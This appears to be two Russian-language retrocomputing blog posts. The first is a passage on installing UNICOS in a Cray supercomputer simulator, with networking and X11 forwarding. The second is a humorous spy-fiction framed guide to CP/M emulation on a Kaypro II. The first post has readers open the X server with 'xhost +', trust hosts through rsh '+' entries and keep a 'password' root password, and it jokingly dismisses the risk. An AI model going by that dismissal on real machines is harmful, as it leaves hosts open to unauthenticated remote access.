Дополнительно я использовал cool-retro-term для наведения красоты, чтобы снимки экрана выглядели еще эпичнее.

Важное уточнение:

несмотря на использование сетевого telnet, полноценное взаимодействие с запущенной UNICOS придется настраивать позже и отдельно — запускаемый при старте telnet-клиент на самом деле подключается к портам симулятора, через которые происходит трансляция консольных команд в виртуальную ОС и обратно.

Настоящее сетевое подключение к UNICOS требует специальной настройки на хосте, а поскольку инсталляция происходит по сети — сей шаг является обязательным.

Настройка выглядит следующим образом:

brctl addbr craybr
ip tuntap add mode tap tap1
ifconfig tap1 up
brctl addif craybr tap1
ifconfig craybr 172.16.0.1 netmask 255.255.255.0

Несмотря на всю внешнюю монструозность, ничего сложного тут нет:

создается новый мост с именем craybr, затем создается виртуальный сетевой интерфейс tap1, которому назначается IP-адрес 172.16.0.1.

Последним шагом этот интерфейс добавляется в мост.

Название интерфейса указывается в конфигурационном файле симулятора, который называется unicos.cfg, выдержка:

..
EthInterfaces {
			en0 {
				InterfaceNameLinux          tap1                ; Tap interface name to connect to on Linux
				InterfaceNameWindows        "Cray Ethernet"     ; WinTap interface name to connect to on Windows
				SimMacAddr                  0x020143524159
				Channel                     020
				IopNumber                   0
			}
		}
..

IP-адрес должен быть именно 172.16.0.1, поскольку внутренний интерфейс в UNICOS указан как 172.16.0.2 и поменять его достаточно проблематично.

Можно зайти и немного дальше, включив роутинг наружу:

brctl setfd craybr 0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

В случае Mageia исходящий интерфейс будет называться по-другому, что-то вроде wlp4s0.

На стороне UNICOS в симуляторе необходимо выполнить команду:

route add default 172.16.0.1

Ну и радоваться — ведь вы только что выпустили в сеть суперкомпьютер Cray, пусть и виртуальный:

Все что вы видите в консоли выше - оригинальный софт от Cray, для суперкомпьютеров Cray.

Готовая сборка

Существуют готовые сборки симулятора Cray для 64-битного Linux, c уже установленным UNICOS версий 10.0.0.2 и 10.0.1.2, созданные известным в узких кругах камрадом neozeed.

Проблема в том, что эти сборки на момент написания статьи успели устареть (от 2022 года) и не факт что заработают в вашей системе.

А планов по обновлению у их автора нет.

Запускается симулятор из этих сборок с помощью стартового скрипта:

./unicos

Не забудьте что перед запуском необходимо выполнить скрипт для настройки сети (см выше).

Так выглядит запуск UNICOS 10.0.1.2 в симуляции суперкомпьютера Cray J90:

Я заменил стандартный xterm, используемый симулятором по-умолчанию на cool-retro-term для большей эпичности скриншотов.

Но конечно у настоящего Cray J-90 не было настолько древних мигающих терминалов и все выглядело куда современне:

Чуть более новый Cray T-90 с рабочим местом оператора (OWS)

Если приглядеться, можно заметить на мониторе рабочей станции, характерные квадратные окна 4dwm — оконного менеджера SGI Irix.

Все потому, что в разные исторические периоды для суперкомпьютеров Cray использовались разные терминальные системы — SunOS, Irix и даже Mac:

Чтобы добиться такого же эффекта, измените поле настройки NewTerminalCommand в файле unicos.cfg:

Так выглядит UNICOS в запущенном состоянии:

Согласно описанию автора, в системе есть следующие учетные записи:

The root password is 'password' and I've created a neozeed user with the password of 'password' so you can telnet in

Входим от root:

Если вы все настроили правильно, также заработать сеть между симулятором и хостом, в обе стороны.

Появится возможность войти уже по сети, непосредственно на машину Cray:

Для завершения работы симулятора, введите команду exit в нижней консоли основного приложения и нажмите Enter:

То что нижний блок - тоже терминал, причем допускающий ввод, я догадался не сразу.

В принципе даже этой версии хватит для последующих развратных действий с участием компилятора (см. ниже).

Если у вас успешно заработала готовая сборка и нет настойчивого желания «собрать из исходников» — следущий шаг можно пропускать и переходить сразу к стадии действительно изысканных приключений.

Первые суперкомпьютеры Cray были обшиты натуральной кожей ~~убитых инженеров~~.

Сборка из исходников

Несмотря на то что сие занятие — точно не для всех и любимый ChatGPT врядли подскажет что-то разумное по этому проекту, сделать все же стоит — для большего погружения.

Симулятор написан на C++, с использованием библиотеки Boost, поэтому компиляция из исходников протекает.. весьма неспешно.

Забираем исходники:

git clone https://github.com/andrastantos/cray-sim.git

Релизных веток нет и все собирается из master.

Перед тем как запускать сборку необходимо установить следующие зависимости, версия для Ubuntu:

 g++ make libboost-all-dev libncurses-dev libgpm-dev

для Mageia:

gcc-c++ make lib64boost-devel lib64ncurses-devel lib64gpm-devel

Исходный код находится в каталоге simulator, поэтому сборка проекта также запускается именно оттуда, а не из корня репозитория.

Поскольку в пакетах Mageia нет статической версии библиотеки Boost, а для сборки Boost из исходниокв не хватило ~~размеров статьи~~ свободного места, я использовал динамическую линковку:

make LINK_TYPE=dynamic build

В Ubuntu сборка будет работать и вот так:

make build

Готовые бинарники будут находиться в каталоге simulator/_bin, но управляющие скрипты об этом знают, поэтому в ручную ничего перекладывать не надо.

Завершение установки на одном из сохранившихся Cray Y-MP, консоль - реальный терминал Wyse тех лет.

Установка UNICOS

Теперь самая интересная стадия, которую вы пропустите если остановитесь на готовой сборке:

установка операционной системы UNICOS в симуляторе суперкомпьютера Cray из оригинальных образов CD-дисков.

Когда-то, за процесс ввода суперкомпьютера в эксплуатацию, отвечала целая команда высококлассных и сертифицированных инженеров, которые тщательно оберегали свои секреты.

Но благодаря любопытным фанатам, теперь наконец и вы сможете в этом поучаствовать.

Как уже описывал выше, два случайно обнаруженных диска оказались единственными сохранившимися носителями загрузочного образа UNICOS и без них судьба симулятора сложилась бы совершенно иначе.

Образы UNICOS доступны по ссылкам:

Оба диска являются загрузочными, первый содержит UNICOS версии 10.0.0.2 для модели Cray J90, второй — UNICOS 10.0.1.2 для Cray SV1.

Шаги установки полностью совпадают, но устанавливать я буду более свежую версию 10.0.1.2, со второго ISO-образа.

Несмотря на то что разные версии этой ОС предназначены для установки на разные суперкомпьютеры, в условиях симулятора все отлично работает.

Так выглядит модель Cray SV1

Инструкция по установке от автора симулятора, находится тут, но к сожалению она успела немного устареть, поэтому придется использовать описанные в ней шаги с небольшими изменениями.

Напоминаю, что все команды ниже, выполняемые с хоста, как и управляющие скрипты симулятора подразумевают использование bash.

Со стороны UNICOS используется ksh, но для стадии установки это не особо важно.

Для упрощения вводимых команд, зададим две переменные окружения:

export ISO=/mnt/iso
export SIM=/opt/work/cray/cray-sim

Первая указывает на путь к примонтированному образу диска, вторая — полный путь до каталога с симулятором.

Монтируем загрузочный диск с UNICOS:

fuseiso ./cray-cd2.iso $ISO

Образ UNICOS содержит длинные имена файлов а также файлы и каталоги с именами в разных регистрах:

Поэтому использовать известный трюк сmount -o loop не получится.

Копируем архив с системой и ядро:

cp $ISO/unicos_exe/ram_fs $SIM
cp $ISO/unicos_exe/krn_11.bgz $SIM

Распаковываем архив с ядром:

cd $SIM
gzip -d -- < krn_11.bgz | cpio -i

В корневом каталоге симулятора появятся несколько новых файлов, нужный нам называется unicos.generic — то самое ядро.

На этой стадии можно наконец запустить симулятор, но пока с использованием образа RAMFS, который мы только что скопировали с установочного диска:

./unicos_ramfs

Запустится симулятор и появится терминал с подключением к UNICOS, запущенной в single user mode:

Кто бы мог подумать, что смогу запустить в Single User Mode ОС для суперкомпьютеров Cray

Теперь настраиваем сеть на стороне UNICOS, поскольку следующим шагом необходимо копировать системные файлы с примонтированного ISO-образа.

Напомню что подключение через telnet происходит на самом деле к самому симулятору, не к эмулируемой ОС внутри.

Вводим в консоли UNICOS:

ifconfig en0 172.16.0.2

После выполнения команды должна отрабатывать команда ping до хоста:

Дальше начинается еще один интересный этап, ~~полный боли и страданий,~~ поскольку придется встретиться с одной очень древней технологией передачи файлов между компьютерами — rcp.

UNICOS, который мы с вами запускаем это система из далекого 1997 года и ничего другого для передачи файлов в ее загрузочном образе просто нет.

Когда-то предполагалось, что весь процесс установки и запуска в эксплуатацию суперкомпьютера — строго секретный, поэтому с «usability» не заморачивались.

Есть еще один важный нюанс:

единственная доступная в образе утилита для передачи файлов на расстояние это клиент.

Для того чтобы подключиться с его помощью и скачать файл, надо поднимать сервер, сервер древнего rcp и на современном линуксе.

Ввиду своей древности, rcp в любом виде (как клиент и как демон) давно отсутствует по-умолчанию в любых линуксах и BSD, а его установка и запуск в современном окружении требует «особой уличной магии».

Для Ubuntu вам будет необходимо установить пакеты:

rsh-client rsh-server

для Mageia:

rsh rsh-server

В последней запуск rsh-сервера происходит через демон xinetd, который по-умолчанию отключен и попытка запуска будет выдавать ошибку:

xinetd.service is not active, cannot reload.

Поэтому сначала запускается xinetd, затем rsh:

service xinetd start
service rsh start

Следующим шагом необходимо разрешить использование демона rsh по сети (входящие подключения), для Ubuntu необходимо добавить строку в файл /etc/hosts.equiv:

172.16.0.2 +

Для Mageia используется файл ~/.rhosts

Это позволит подключиться к хосту и скопировать стартовый скрипт инсталляции в запущенную UNICOS.

Но прежде чем копировать, скрипт необходимо немного изменить.

Открываем файл install (находится в корневом каталоге симулятора) любимым редактором vi и заполняем значения переменных:

LOCAL_LOGIN = имя пользователя на хосте
ISO_MNT = /полный/путь/к каталогу с образом UNICOS

Также добавляем новую переменную SIM_LOC, которой устанавливаем значение в виде полного пути к каталогу с симулятором.

Заранее предупреждаю, что в скрипте инсталляции есть небольшая ошибка, связанная с определением версии устанавливаемой системы. На процесс инсталляции она не влияет, но бесит и раздражает, поскольку появляется в самом начале.

Чтобы ее избежать, необходимо задать еще одну переменную:

UNICOS_EXE=UNICOS_exe

В результате всех описанных выше правок должно получиться такое:

Финальный скрипт установки операционной системы Cray, мама будет вами гордиться ;)

Cохраняем изменения, затем на стороне UNICOS вводим команды, заменив предварительно имя пользователя и путь к симулятору:

cd /
rcp alex@172.16.0.1:/opt/work/cray/cray_sim/install .

В результате выполнения команды файл install будет скопирован с хоста и появится в корне файловой системы UNICOS:

Запускаем скопированный скрипт инсталляции UNICOS:

./install

Появится сообщение с перечислением введенных параметров:

Нажимаем любую клавишу и запустится увлекательный процесс установки операционной системы для суперкомпьютера Cray:

Несмотря на эпичность, это всего лишь копирование файлов по сети.

Процесс достаточно длительный и занимает несколько часов, вне зависимости от мощи вашего оборудования, так что вполне успеете принести ~~кровавую жертву темным богам~~ выпить чаю в хорошей компании.

В самом конце установки, будет предложено установить пароль для суперпользователя, а также будет запущен диалог создания учетной записи обычного пользователя.

После чего установка наконец будет завершена:

Да, вы только что установили ОС на суперкомпьютер Cray, пусть и виртуальный.

Во время установки UNICOS происходит один очень важный шаг, о котором стоит рассказать — линковка ядра.

Эта практика происходит из времен первых UNIX, когда архитектур было много а стандартов мало. Совместимость оборудования хромала, поэтому такая линковка использовалась в качестве своеобразного финального теста системы.

Из современных операционных систем, эту практику сохранила например OpenBSD, хотя и по другой причине.

Останавливаем симулятор командой exit и убеждаемся, что основное ядро UNICOS успешно слинковано — должен появиться файл unicos.ymp.10012:

После этого, проверяем файл unicos.cfg, в котором должно появиться указание на новое ядро:

Если все хорошо и ссылка на свежее ядро на месте, запускаем полноценную симуляцию:

./unicos

Так выглядит полностью запущенный симулятор суперкомпьютера Cray J90 с только что установленной UNICOS:

Если на стороне UNICOS прописать маршрут по-умолчанию, такой же командой как и в готовой сборке:

route add default 172.16.0.2

..получим выход в интернет.

Прямо с суперкомпьютера Cray, вы правильно поняли:

Мам, я вывел суперкомпьютер Cray в интернет!

Вы же не думали, будто на этом я успокоюсь, открою шампанское, ~~вызову девок~~ и уйду в загул? Конечно же нет и впереди ждет еще много интересного и удивительного.

Графический интерфейс, на суперкомпьютере

В найденных образах UNICOS, один из которых мы только что использовали для установки, была обнаружена работающая клиентская библиотека для протокола X11.

Самого X-сервера внутри разумеется нет, поскольку далекие предки использовали специальные управляющие терминалы с SGI Irix:

Зато есть возможность пробросить отображение приложения с поддержкой протокола X11, чтобы оно отрисовывалось на запущенном современном Xorg-сервере хоста.

Что автор немедленно и проделал:

Часики, которые тикают прямо на суперкомпьютере Cray.

Два приложения на скриншоте выше xterm и xlock — запущены из работающей UNICOS и отображаются в Xorg-сервере на Mageia Linux.

Чтобы это повторить, необходимо принести кровавую жерт.. ээ выполнить три простых шага, описанные ниже.

Запуск Xorg-сервера с поддержкой сети

По-умолчанию и очень давно, даже в самых олдскульных дистрибьютивах вроде Slackware, X-сервер запускается с параметром -nolisten, запрещающим удаленное подключение по сети.

Чтобы в этом убедиться, достаточно выполнить команду на хосте, которая покажет запущенный X-сервер со всеми параметрами:

ps -ax |grep X

Запускается X-сервер из специального приложения «display manager» (dm), который ответчает за красивое графическое окно авторизации, поэтому параметры запуска X-сервера указываются в настройках этого менеджера.

Поскольку в моей системе используется LightDM, для того чтобы X-сервер начал прослушивать сетевой порт, я добавил следующую настройку в раздел [Seat:*] в файл /etc/lightdm/lightdm.conf.d/49-mageia.conf:

xserver-allow-tcp=true
xserver-command=X -listen tcp

После чего сервис lightdm необходимо перезапустить:

service lightdm restart

Естественно вас в этот момент выбросит из системы, так что будьте готовы и остановите заранее симулятор, если он был запущен.

Разрешение удаленного доступа без авторизации

Следующим шагом необходимо отключить авторизацию при подключении к X-серверу по сети.

Для этого авторизуйтесь с помощью DM и запустите графическое окружение — как вы обычно это делаете, затем введите в консоли:

xhost +

Выглядит это так:

После выполнения этой команды будет доступно удаленное подключение к вашему X-cерверу с любого хоста.

Что конечно считалось опасным еще лет двадцать назад, но в нынешние продвинутые времена (с Wayland вместо Xorg), когда о самой возможности такого удаленного подключения уже мало кто помнит — не стоит заморачиваться:

все, кто теоретически смог бы таким образом подключиться к вашей машине давно умерли или наслаждаются маразмом.

Кроме автора, разумеется.

Указание адреса удаленного X-сервера

Наконец последним шагом необходимо указать адрес удаленного X-сервера на стороне UNICOS.

Делается это командой (не забываем о ksh по-умолчанию):

setenv DISPLAY 172.16.0.1:0.0

Набор софта с графическим интерфейсом находится в каталоге /usr/bin/X11, так для примера выглядит запуск xterm:

"This is a private computer facility" - самое возбуждающее приглашение на свете.

Если вы выполнили все шаги правильно, появится графическое окно, с запущенным приложением, работающим в среде суперкомпьютера:

И.. нет, это еще не конец.

Особенные радости, для особенных

Вместе с симулятором поставляется интересный архив goodies.tar, собранный оригинальным автором симулятора, который можно найти в каталоге unicos_tools.

Архив содержит несколько известных утилит, собранных для UNICOS, без которых жизнь юниксоида сера и уныла — bash и midnight commander.

Узрите смертные, ибо так выглядит ваш любимый mc , запущенный на суперкомпьютере Cray:

Страшно? А мы предупреждали.

Копируется сей замечательный архив с помощью уже известного по процессу установки rcp:

rcp alex@172.16.0.1:/opt/work/cray/cray-sim/unicos_toos/goodies.tar /

Распаковывается в каталог /usr, который уже присутствует в переменной окружения PATH:

cd /usr
tar xvf /goodies.tar
rm /goodies.tar

Перед запуском необходимо выставить бит запуска:

chmod +x /usr/bin/mc
chmod +x /usr/bin/bash

и соответствующие права:

chmod 765 /usr/bin/mc
chmod 765 /usr/bin/bash

Если mc будет ругаться при запуске, необходимо выставить тип терминала:

setenv TERM xterm

И нет, это тоже еще не коне..

(удары тяжелым предметом на фоне)

Механический голос за кадром:

..угроза раскрытия корпоративных секретов устранена.

Приступаю к зачистке территории.

Необычный заказ: разработка под CP/M

2026-02-18T08:36:44.516Z

Древний дисковод ожил и издавая чудовищный скрежет стал медленно загружать мое послание.

Через какое-то время на экране появились строки:

NE PUERO GLADIUM, DR. KRIGER.
04.03.2026

Три пары глаз повернулись ко мне в немом изумлении.

— Это длинная история, нам лучше присесть.

Все герои в сборе.

Человек, перешагнувший порог моего маленького офиса в тот летний вечер явно имел отношение к спецслужбам — армейскую выправку и годы тренировок не спрячешь так просто.

Рослый и поднятутый, в безупречном костюме и с острым, пронзительным взглядом — он производил серьезное впечатление.

И тем странее выглядел этот заказ.

— Алекс, полагаю?

— Он самый, рад наконец познакомиться лично.

— Вы написали, что для нас есть работа. Хотя исходя из содержания письма, задача выглядит довольно.. необычной.

— Это проблема? Мне рекомендовали вас как опытных профессионалов..

— Нет, не проблема.

— Просто уточняю детали, дабы убедиться, что мы понимаем друг друга.

— Итак, вы действительно используете компьютеры.. из 1987 года?

АРХЕОТЕХ

Копаясь в сети в поисках очередного археотеха, был обнаружен удивительный репозиторий, в котором один почтенный джентельмен, недавно отошедший от дел, собрал невероятную подборку ~~дичи~~ инструментов разработки для компьютеров конца 70х — начала 80х:

CP/M 2.2 compilers, assemblers, and interpreters

CP/M, если кто вдруг не знает (коих среди читателей точно будет большинство), это такая операционная система из далекого-далекого прошлого, созданная аж в 1974 году.

Разумеется давно и крепко забытая обывателями. Для сравнения и понимания исторического периода:

в 1977м году вышел первый фильм Джорджа Лукаса по вселенной «Звездных Войн», а в 1975м закончилась война во Вьетнаме.

Практически любые компьютерные материалы тех лет представляют историческую ценность, а тут аж целый репозиторий, забитый под завязку редчайшим археотехом.

Чтобы вы смогли оценить объем и сложность проделанной работы:

каждый компилятор или средство разработки из этой коллекции пришлось специально оцифровывать, считывая данные с невероятно старых носителей информации — дискет или магнитной ленты.

C помощью дисководов, которым лет по пятьдесят, типа такого:

8-дюймовый (!) диск с дисководом начала 70х. Слева для сравнения "современная" 1'44 дискета.

Представляете, чего стоило все это оживить, запустить и заставить работать?

Физические процессы, механические повреждения и влияние среды при этом никто не отменял.

Если быть совсем точным, то сначала был обнаружен немного другой репозиторий от этого же почтенного автора, где была собрана похожая коллекция, но для более обыденного DOS.

Лишь несколько недель спустя обнаружилось, что совсем рядом находится настоящее сокровище утраченной цивилизации — чистый археотех.

И понеслась.

От такого изобилия начала капать слюна и дергаться глаз:

Сообщения коммитов вроде "macos build" и "linux build" в одной строке с тулчейном из 70х невероятно доставляют.

Скорее всего ничего из длинного списка выше вам знакомо не будет, поскольку все эти древности на десяток-другой лет старше даже автора этих строк.

Отдельный восторг у искушенной публики вызовет наличие скриптов сборки под Unix (Linux/Mac/BSD).

Примерно из-за таких изумительных проектов хорошие инженеры навсегда бросают пить.

Но вернемся в мой кабинет — к гостю с армейской выправкой и странными, хотя и законными запросами.

— Этот разговор будет долгим. Не найдется ли у вас чем освежиться?

— Разумеется.

Специально для таких случаев в минибаре хранилась дежурная бутылочка Macallan. И правильный лед.

— Вижу у вас отменный вкус.

С наслаждением сделав глоток, гость медленно перекатывал стакан между пальцами пока лучи заката переливались на его гранях.

В глазах был немой вопрос.

— Увы, не могу. «Врачи-убийцы» настрого запретили любой алкоголь.

— Какая жалость. Со мной они такое провернули только к седьмому сезону.. Возвращась к вашему вопросу.

— Про компьтеры 80х и их современное использование.

— Видите ли, это все сценаристы и лично создатель сериала.

Решили, что для уникальной атмосферы необходимо смешать гаджеты из совершенно разных эпох.

— У них определенно получилось, рейтинг IMDb не даст соврать.

Ламповые компьютеры 60х, мейнфреймы IBM 70х и 8-битные микрокомпьютеры 80х спокойно существуют в одном мире с мобильными телефонами и видеосвязью.

— И все это на протяжении десяти сезонов!

— Четырнадцати. Делаем продолжение.

— Вот она, сила исскусства!

Искусство искусством, но прежде чем погружаться по локоть в «кровавый ад разработки» 80х c линковщиками и компиляторами, стоит рассказать о технических реалиях тех лет — оборудовании и самой операционной системе CP/M.

Будет интересно, даже если вы, дорогой читатель, не старше третьего GTA.

Аукционный дом Christie's, частная коллекция Пола Аллена.

ЭПОХА МИКРО

Между огромными мейнфреймами, занимающими машинные залы и первым домашним PC с DOS а затем и Windows, был относительно краткий период рассвета (1970-1980) микрокомпьютеров:

A microcomputer is a small, relatively inexpensive computer having a central processing unit (CPU) made out of a single integrated circuit microprocessor.

Да, это официальное название, «микрокомпьютерами» назывались множество разных девайсов от разных производителей, предназначенных для ~~игор~~ домашнего использования.

Знаменитый Commodore 128D

Не менее знаменитый TRS-80.

Это был настоящий бум домашней электроники и сотни разных компаний по всему миру начали создавать свои линейки для новой отрасли — домашних компьютеров.

— Интересная история, крайне.. необычная.

Рассказ гостя определенно заинтриговал.

За долгую жизнь со мной случилось столько разнообразной херни, что заказ на разработку для компьютера из 80х от мультяшного персонажа из сериала про супершпионов уже не казался чем-то невероятным.

Куда больше вопросов вызывал сам процесс.

— Но все же, что конкретно мы должны реализовать?

— И под какую машину?

KAYPRO II

Одной из компаний, решивших поучаствовать в гонке первых домашних компьютеров была Kaypro Corporation:

Kaypro Corporation was an American home and personal computer manufacturer based in Solana Beach, California, in the 1980s

Хотя сама компания давно не существует, она успела ~~наследить~~ оставить след в истории компьютеров и сердцах благодарных потомков.

Первый же ее продукт имел оглушительный успех:

by mid-1983 the company was selling more than 10,000 units a month, briefly making it the fifth-largest computer maker in the world

Пятая в мире по продажам, рядом с Apple и IBM — в первом ряду, не где-то сбоку, причем с первого продукта.

Кстати с названием тоже есть интересный нюанс:

The first Kaypro model to be released commercially was branded as the Kaypro II; at the time, one of the most popular microcomputers was the Apple II

Так что цифра «два» в названии модели была добавлена ради конкуренции с Apple, а не в качестве порядкового номера — настолько сильна была ~~ненависть~~ жажда наживы.

Именно этот продукт — домашний компьютер Kaypro II был выбран в качестве полигона для восстановления процесса разработки под CP/M.

И последующей сдачи этого фантастического проекта для столь особенного заказчика.

Только посмотрите на эту брутальную «няшу» в стильном металлическом корпусе:

Кстати, этот самый Kaypro II еще и позиционировался как мобильный:

Its RS-232 port was widely used by service technicians for on-site equipment configuration, control and diagnostics

И действительно использовался инженерами для полевых работ, примерно как современные ноутбуки:

Ну как можно было пройти мимо такого сказочного девайса?

— Видите-ли, Алекс.

— У нас в.. организации есть один сотрудник. С наци.. ээ немецкими корнями и такой же педантичностью.

Мой гость сделал еще один глоток виски, явно наслаждаясь процессом.

— Отвечает за техническое сопровождение и разные.. эксперименты. В некотором смысле — ваш коллега.

— К великому сожалению, последнее время он начал.. скажем так, проявлять неустойчивость. Рассказывал коллегам о своей избранности и незаменимости. Стал требовать сдавать ему кровь.

— Даже представлять не хочу, для чего ему могло понадобиться столько крови, но нам срочно необходимо это прекратить.

— С нашей помощью, полагаю?

Создатель операционной системы CP/M Gary Kildall за работой, 1978 год. Огромный ящик слева это.. дисковод.

CP/M

Стоит рассказать и про операционную систему тех лет, благо очень немногие из читателей ~~дожили~~ имели шанс с ней поработать:

CP/M,originally standing for Control Program/Monitor and later Control Program for Microcomputers, is a mass-market operating system created in 1974 for Intel 8080/85-based microcomputers by Gary Kildall of Digital Research, Inc.

Внешне это сильно похоже на более привычный отечественному пользователю DOS, хотя конечно же CP/M появилась гораздо раньше.

Зеленые буквы на черном фоне, за тридцать лет до выхода "Матрицы".

Кстати скриншот выше это тоже настоящий артефакт, который был сделан после случайной археологической находки — были обнаружены исходники четырех первых версий CP/M, примерно 1975-79 годов.

Так вот на этом скриншоте — работающая CP/M версии 1.3.. собранная из найденных исходников!

Помимо внешнего узнавания, сейчас будет еще и весьма знакомая история:

CP/M eventually became the de facto standard and the dominant operating system for microcomputers,in combination with the S-100 bus computers. This computer platform was widely used in business through the late 1970s and into the mid-1980s.

«Де-факто стандарт» и «доминирующая операционная система» — никого не напоминает?

А дело между прочим происходило задолго до Microsoft и ее первых продуктов.

История имеет тенденцию повторяться.

Отдельных лулзов доставит и вот такой замечательный девайс:

Мелкомягкие никогда не изменяли себе, лепя огромные логотипы на все подряд.

Наберите побольше воздуха, сейчас поплохеет:

The Z-80 SoftCard is a plug-in Apple II processor card developed by Microsoft to turn the computer into a CP/M system based upon the Zilog Z80 central processing unit (CPU). Becoming the most popular CP/M platform and Microsoft's top revenue source for 1980, it was eventually renamed the Microsoft SoftCard, and was succeeded by Microsoft's Premium Softcard IIe for the Apple IIe.

Оказывается самым прибыльным продуктом мелкомягких когда-то была плата расширения для.. компьютеров Apple, позволяющая использовать на них операционную систему CP/M.

— Несмотря на все наши таланты и умения, думаю не сможем помочь.

Окинув гостя взглядом и оценив его серьезную физическую подготовку, я добавил:

— Полагаю в вопросах наказания, проучения и приручения вы дадите сто очков форы кому угодно..

— Ну что вы, Алекс.

—Конечно же речи не идет о применении насилия, мы мирные ~~землепашцы~~ люди. К тому же для такого существуют.. профильные специалисты.

— Нет, боюсь все несколько сложнее.

— Я хочу чтобы вы проучили коллегу морально — с помощью вашего ума и инженерных талантов.

Прикончив остатки виски, гость одним движением вернул пустой стакан на стол и внимательно посмотрел на меня.

— Мы договорились?

ЭМУЛЯЦИЯ

Нетрудно догадаться, что настоящего микрокомпьютера из 1987 года у меня никогда не было, поскольку в те годы я успел только-только появиться на свет.

Поэтому большая часть описываемых ниже приключений снова будут происходить в эмуляции.

«Большая часть» — потому что действующий компьютер 80х я все же нашел и даже смог запустить на нем собранное приложение.

Содержание статьи сразу заиграло новыми красками, правда?

Вообще 8-битные микрокомпьютеры быстро завоевали популярность, фактически создав новый рынок домашней электроники и оставив заметный след ~~рваную рану~~ в юных сердцах.

Благодарные пользователи, убившие детство на первые компьютерные игры и выросшие затем в бородатых программистов, наклепали горы самых разных эмуляторов этих машин.

Я отобрал для вас три абсолютно разных эмулятора, для максимального погружения в тему микрокомпьютеров и эстетику 80х.

В качестве тестовой среды на этот раз использовался обычный Mageia Linux, чтобы не отвлекать внимание читателей на любимую FreeBSD.

Кстати вот тут находится очень интересная подборка образов дискет для компьютеров Kaypro, включая исходники — на случай, если статьи покажется мало и захотите продолжить банкет.

MYZ80

Начнем с самого ~~отбитого~~ хардкорного.

Перед вами настоящий дедушка эмуляции — действующий эмулятор CP/M, написанный в 1991м году под MS-DOS:

MyZ80 does more than just emulate the CPU though, it's a complete Z80 computer emulation

Этот эмулятор когда-то был коммерческим продуктом — «shareware», хотя и без каких-либо технических ограничений. Исходного кода найти не удалось, так что использовать будем его готовую сборку.

Один из отзывов, благодаря которому эту штуку вообще удалось отыскать в современном интернете:

This is one of the few PC CP/M simulators which appears to actually Boot
CP/M and not a "CP/M like command interpreter", thereby allowing you to
see what the operating environment actually looked like.

Шарму добавляет адрес для обратной связи — в сети FIDO:

Via FIDONET: direct to my point 3:640/208.3.
c/o Z-Node 62, Perth, Western Australia (3:690/718).
BBS number: From Australia: 09 450 0200.
From outside Australia: Overseas access number +619 450 0200.

Ссылка указанная выше, на самом деле лишь сохраненная копия сайта автора, поскольку и сайт и сам проект были давным давно заброшены.

Все ссылки для скачивания битые, но нужный файлик myz80124.zip со сборкой эмулятора легко находится в сети, можно скачать например тут.

Скачиваем и распаковываем:

wget http://www.z80.eu/downloads/myz80124.zip
mkdir myz80cpm && cd myz80cpm
unzip ../myz80124.zip

Внутри будет весьма необычный для современности набор файлов:

MYZ80.EXE — очевидный бинарник эмулятора, но проблема в том что это 16-битное приложение для DOS, запустить которое в современном окружении представляет проблему.

Так что придется использовать еще один известный эмулятор — Dosbox, чтобы запустить внутри винтажный MYZ80.

Dosbox присутствует в пакетах большинства операционных систем , для моей Mageia установка выглядит вот так:

urpmi dosbox

А так эта «матрешка» выглядит в работе:

Самое важное, ради чего были нужны заморочки аж с двумя эмуляторами — виртуальные диски, связанные с файловой системой DOS:

Поскольку Dosbox в свою очередь дает виртуализацию дисков непосредственно из хоста — получаем отличный способ быстро перебрасывать файлы в виртуальную CP/M.

Что важно при любой разработке с использованием эмулятора.

Собственно, то самое тестовое приложение EXMPL.COM на заглавной картинке было сначала скопировано в каталог с эмулятором:

cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .

Затем импортировано в виртуальный диск CP/M:

И запущено уже в CP/M.

Все это проще и быстрее, нежели описываемый ниже вариант с Mame и полной эмуляцией Kaypro II, но к сожалению не дает того самого «ощущения от использования», что это реальная машина тех лет.

Так что я пошел дальше в своих изысканиях.

— Интересное предложение.

— Проучить коллегу по опасному инженерному делу, за приличные деньги..

Моему гостю этого знать не следовало, но я готов был таким заниматься совершенно бесплатно и на регулярной основе.

— ..путем разработки под столь винтажный компьютер.

— Практически совершить уринотерапию..

— Боюсь, уринотерапия тут не поможет — коллега все же имеет немецкие корни. У каждой нации свои.. культурные особенности.

— Ну да ладно.

— Обсудим конкретику?

MAME

Mame это очень известный эмулятор самых разных машин и архитектур, как устаревших так и современных, когда-то созданный ради запуска игор, выгруженных из старых игровых автоматов.

С помощью Mame, мы получим почти настоящий Kaypro II, с оригинальным ROM и оригинальным образом загрузочной дискеты с CP/M — прямо из 80х.

Mame присутствует в пакетах многих дистрибутивов Linux и BSD, для Mageia устанавливается командой:

urpmi mame

Дальше нужно будет скачать загрузочный образ 5.25-дискеты с CP/M 2.2, например отсюда, затем специальные ROM-файлы для самого Kaypro II и его весьма специфической клавиатуры, отсюда.

Архивы называются kayproii.zip и kaypro10kbd.zip, их необходимо копировать как есть, не распаковывая.

Создаем структуру каталогов:

mkdir kayproii-machine && cd kayrpoii-machine
mkdir roms disks

Копируем ROM-файлы:

cp ~/Downloads/kaypro*.zip ./roms/

Распаковываем образ дискеты:

7z e ~/Downloads/KAYPRO\ II\ 64k\ CPM\ vers\ 2.2.7z -o./disks/

Запускаем:

mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD

Если все шаги выполнены правильно, появится заставка Mame с описанием эмулируемой машины:

После нажатия любой клавиши, загрузится сама CP/M и вы увидите такое приглашение:

Если сейчас выключить эмулятор и запустить снова — обнаружится, что система восстановила состояние на момент выключения, некий аналог режима сна в современных ноутбуках.

В большинстве случаев это помогает работе, но временами может мешать.

Особенно если учесть, что в 1987м не было подсистемы управления питанием (ACPI) и компьютеры выключались по нажатию кнопки на корпусе.

Никаких вам shutdown now или halt, только железная кнопка, только хардкор.

Чтобы сбросить сохраненное состояние — если оно вдруг начнет мешать, достаточно удалить этот файл в каталоге с настройками:

rm ~/.mame/sta/kayproii/auto.sta

Теперь расскажу про еще один важный нюанс, на изучение которого было убито больше всего времени и сил, чем на всю эту статью.

Обложка дискеты с компилятором BASIC для компьютеров Kaypro.

ФОРМАТ ФЛОППИ

Существует определенная хитрость с форматированием дискет для CP/M под Mame, связанная как с особенностями реализации в самом Mame, так и со спецификой Kaypro.

Да в те далекие времена существовали разные, несовместимые между собой форматы дискет.

У меня не получилось подцепить в Mame образ дискеты, созданный в cpmtools (см. ниже) и описанный ниже вариант оказался единственным работающим.

При запуске Mame нажимаем Tab, открывается меню системное меню:

